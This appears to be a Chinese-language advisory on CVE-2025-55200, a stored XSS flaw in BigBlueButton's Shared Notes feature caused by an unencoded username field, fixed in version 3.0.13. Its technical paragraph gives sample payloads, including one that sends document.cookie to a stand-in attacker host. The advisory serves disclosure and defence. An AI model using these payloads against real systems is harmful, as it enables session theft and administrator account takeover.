CVE-2025-55200CVE-2025-55200是BigBlueButton开源虚拟课堂平台中的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于BigBlueButton的"共享笔记"(Shared Notes)功能中,影响3.0.13之前的所有版本。漏洞的输入位置为用户注册时的"用户名"(Username)字段,输出位置为"共享笔记"页面。当具有恶意用户名的用户在编辑共享笔记内容时,恶意脚本会被持久化存储在共享笔记页面中。该漏洞允许低权限用户(如普通参会者)在高权限用户(如管理员)打开共享笔记页面时执行任意JavaScript代码。由于管理员通常具有更高的系统权限,攻击者可以通过窃取管理员会话、Cookie或执行特权操作来获取对系统的未授权访问。该漏洞的CVSS 3.1评分为7.1分,属于高危级别,攻击向量为网络攻击,需要低权限认证,但无需用户交互。机密性影响为高,完整性影响为低,可用性影响为无。BigBlueButton官方已在3.0.13版本中修复了该问题,建议所有使用受影响版本的用户尽快升级到最新版本以保护系统安全。
该漏洞是一个典型的存储型XSS漏洞,其技术原理如下:BigBlueButton的共享笔记功能基于Etherpad-like的协同编辑工具(bbb-pads),允许会议参与者在会议过程中共同编辑笔记内容。漏洞的根本原因在于系统未对用户名字段进行充分的输入验证和输出编码。当用户注册或加入会议时,其用户名被存储到系统中。当该用户参与共享笔记的编辑时,其用户名会被插入到共享笔记页面的HTML上下文中。由于缺少适当的HTML实体编码或内容安全策略(CSP)保护,攻击者可以构造包含恶意JavaScript代码的用户名,例如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)>。当管理员或其他高权限用户打开共享笔记页面查看内容时,嵌入在用户名中的恶意脚本将在受害者浏览器上下文中自动执行。攻击者可以利用此漏洞窃取会话Cookie、执行CSRF攻击、劫持管理员账户、访问敏感会议数据或执行其他恶意操作。由于这是存储型XSS,恶意负载会持久化存储在共享笔记中,每次有用户访问该页面都会触发攻击,具有较高的危害性和持续性。修复版本通过在用户名渲染到HTML时进行适当的转义处理来解决此问题。